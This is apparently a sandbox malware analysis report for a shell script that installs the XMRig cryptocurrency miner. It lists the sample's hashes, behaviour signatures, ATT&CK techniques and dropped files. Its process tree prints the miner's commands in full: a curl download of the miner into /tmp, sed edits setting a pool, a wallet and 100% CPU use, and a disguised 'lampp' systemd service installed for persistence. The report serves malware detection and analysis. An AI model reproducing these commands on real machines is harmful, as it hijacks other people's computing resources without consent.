Analysis

  • max time kernel
    2s
  • max time network
    1036s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240611-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 11:31

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1397
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1400
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1401
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1404
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1405
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1446
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:1447
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:1448
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:1448
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:1448
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:1448
                      • /usr/bin/rm
                        2⤵
                          PID:1449
                        • /usr/bin/sed
                          2⤵
                            PID:1450
                          • /root/lampp/xmrig
                            /root/lampp/xmrig --help
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            • Reads runtime system information
                            PID:1451
                          • /usr/bin/sed
                            sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                            2⤵
                              PID:1456
                            • /usr/bin/cut
                              cut -f1 -d.
                              2⤵
                                PID:1455
                              • /usr/bin/hostname
                                hostname
                                2⤵
                                  PID:1454
                                • /usr/bin/sed
                                  sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                  2⤵
                                    PID:1457
                                  • /usr/bin/sed
                                    sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                    2⤵
                                      PID:1458
                                    • /usr/bin/sed
                                      sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2004-amd64-20240611-en-5\",/" /root/lampp/config.json
                                      2⤵
                                        PID:1459
                                      • /usr/bin/sed
                                        sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                        2⤵
                                          PID:1460
                                        • /usr/bin/sed
                                          sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                          2⤵
                                          • Reads runtime system information
                                          PID:1461
                                        • /usr/bin/sed
                                          sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                          2⤵
                                          • Reads runtime system information
                                          PID:1462
                                        • /usr/bin/sed
                                          sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                          2⤵
                                            PID:1463
                                          • /usr/bin/cp
                                            cp /root/lampp/config.json /root/lampp/config_background.json
                                            2⤵
                                              PID:1464
                                            • /usr/bin/sed
                                              sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                              2⤵
                                                PID:1465
                                              • /usr/bin/cat
                                                cat
                                                2⤵
                                                  PID:1466
                                                • /usr/bin/chmod
                                                  chmod +x /root/lampp/miner.sh
                                                  2⤵
                                                    PID:1467
                                                  • /usr/bin/sudo
                                                    sudo -n true
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:1468
                                                    • /usr/bin/true
                                                      true
                                                      3⤵
                                                        PID:1469
                                                    • /usr/bin/awk
                                                      awk "{print \$2}"
                                                      2⤵
                                                        PID:1472
                                                      • /usr/bin/grep
                                                        grep MemTotal /proc/meminfo
                                                        2⤵
                                                          PID:1471
                                                        • /usr/bin/cat
                                                          cat
                                                          2⤵
                                                            PID:1473
                                                          • /usr/bin/sudo
                                                            sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1474
                                                            • /usr/bin/mv
                                                              mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:1475
                                                          • /usr/bin/sudo
                                                            sudo killall xmrig
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1476
                                                            • /usr/bin/killall
                                                              killall xmrig
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:1477
                                                          • /usr/bin/sudo
                                                            sudo systemctl daemon-reload
                                                            2⤵
                                                              PID:1478
                                                              • /usr/bin/systemctl
                                                                systemctl daemon-reload
                                                                3⤵
                                                                • Reads EFI boot settings
                                                                • Enumerates kernel/hardware configuration
                                                                PID:1479
                                                            • /usr/bin/sudo
                                                              sudo systemctl enable lampp.service
                                                              2⤵
                                                                PID:1517
                                                                • /usr/bin/systemctl
                                                                  systemctl enable lampp.service
                                                                  3⤵
                                                                  • Reads EFI boot settings
                                                                  • Enumerates kernel/hardware configuration
                                                                  • Reads runtime system information
                                                                  PID:1518
                                                              • /usr/bin/sudo
                                                                sudo systemctl start lampp.service
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:1550
                                                                • /usr/bin/systemctl
                                                                  systemctl start lampp.service
                                                                  3⤵
                                                                  • Reads EFI boot settings
                                                                  • Enumerates kernel/hardware configuration
                                                                  PID:1552

                                                            Network

                                                            MITRE ATT&CK Matrix ATT&CK v13

                                                            Defense Evasion

                                                            Virtualization/Sandbox Evasion

                                                            2
                                                            T1497

                                                            Discovery

                                                            Virtualization/Sandbox Evasion

                                                            2
                                                            T1497

                                                            System Information Discovery

                                                            3
                                                            T1082

                                                            Command and Control

                                                            Web Service

                                                            1
                                                            T1102

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • /root/lampp/config.json
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              f3294129e6b76283965ad86a815bf383

                                                              SHA1

                                                              5fe0ab538f86962efe82cb13fc2da745610740af

                                                              SHA256

                                                              578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                              SHA512

                                                              07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                            • /root/lampp/sed4U7byy
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              0d55c59cb49ff6508d6030540b5314a0

                                                              SHA1

                                                              fdfb598efb451ba971164c2e69acd0ec8a48fb0f

                                                              SHA256

                                                              74ec32205d8c6aee4fd28ea7ec3bb78e8aae771471611ef4d43d445cc4c01030

                                                              SHA512

                                                              794bfc545c7120536642958126494d89d30f3bcd86b800f2e397c6ee9308c9272f543d3236cf822c6a41f47d9ca41d28ab342da63fca93bd0f2832ed96736675

                                                            • /root/lampp/sedDvbIxO
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              43d7117e14d2b403aa17b02216958d22

                                                              SHA1

                                                              16725b1db6f0ac51743a22e4cfe4a08ed496ad4a

                                                              SHA256

                                                              233245a35ee5118780011b81501836d002d250129b31a34a75887d431b8a965c

                                                              SHA512

                                                              f6c670422bac0a320067f5645a9f067e0a0460e2bc85a7940da373ad7ea18de1e8e299ee2f3fa252bc4dd522e6cce48a9539b0f870363c72db0a35f882fb0f68

                                                            • /root/lampp/sedGvGPkJ
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              234494d4c94d2f2c5572510f1de4deae

                                                              SHA1

                                                              9a2ccf15c55ff2ef38855083c22fb33b0c8eaf18

                                                              SHA256

                                                              f9daa0585d8830dc02b5f984d55ada0711b36bab9b4e3b5755f5c8e545f43f91

                                                              SHA512

                                                              0cbc8dd804eb6c8a5009faca3bdc6922ec52e3e31851a2af8804c133af2c94954770af9a83d99b770bae2a98132e933bd51793bc3e8c689e27c9997314a6b68f

                                                            • /root/lampp/sedNJBK4t
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              8b11b027dd187104473ee7d661ffe25f

                                                              SHA1

                                                              ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                              SHA256

                                                              984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                              SHA512

                                                              1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                            • /root/lampp/sedekN1y0
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              809b2148bac822ebf3f677902c4dd835

                                                              SHA1

                                                              89bf741918eb80bb3d46db77e7c8fd70b600b13b

                                                              SHA256

                                                              f3f8be2ad4ae4243b54f6a5836b46972bd77060fd9aed80647b15485f522230b

                                                              SHA512

                                                              facd2f32e536348ca9506f338f1dbf2fa39ea0ab5a104cc478d8a88f039fbbcfbb03a58775a5ecfab89ec171882286b0728a1e25438108d9b6d3852a9fc86e55

                                                            • /root/lampp/sedxExs3o
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              d489ddbbb83271e967b8af615d17d3c7

                                                              SHA1

                                                              f0394a367a60e9727269882154098dec802774ef

                                                              SHA256

                                                              5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                              SHA512

                                                              aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                            • /root/lampp/xmrig
                                                              Filesize

                                                              8.4MB

                                                              MD5

                                                              1d09efe182849d730d020c25b870b2e9

                                                              SHA1

                                                              a62742d0523e3180bc7ff303722942eceac644fd

                                                              SHA256

                                                              6c48d0064e84636ed3cb54c010feb685cc2d2ff2b05f0b0b7d0357f1d5523ad2

                                                              SHA512

                                                              622465a64d45c1ee8eb08e6d282c2a9d8acd9377a51097bb498e2addc2e98ba51cabe8a19f88393d55f1699895d1fb706825105a7c1739009ac14ff878e0d0eb

                                                            • /tmp/lampp.service
                                                              Filesize

                                                              177B

                                                              MD5

                                                              540c899b78585827e807a62f7345eaf5

                                                              SHA1

                                                              8bf3146889c6b15811f226bff9fbca24d184eff2

                                                              SHA256

                                                              b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                              SHA512

                                                              0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                            • /tmp/sh-thd.ew9VN2
                                                              Filesize

                                                              253B

                                                              MD5

                                                              f96a321a262287ceae164f23f232ed9c

                                                              SHA1

                                                              d1eeab41f244b42377afd7cc3de7428736162b24

                                                              SHA256

                                                              f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                              SHA512

                                                              75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                            • /tmp/xmrig.tar.gz
                                                              Filesize

                                                              3.4MB

                                                              MD5

                                                              e003a3ec8bdd61151a61cadf950502c4

                                                              SHA1

                                                              2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                              SHA256

                                                              80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                              SHA512

                                                              ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9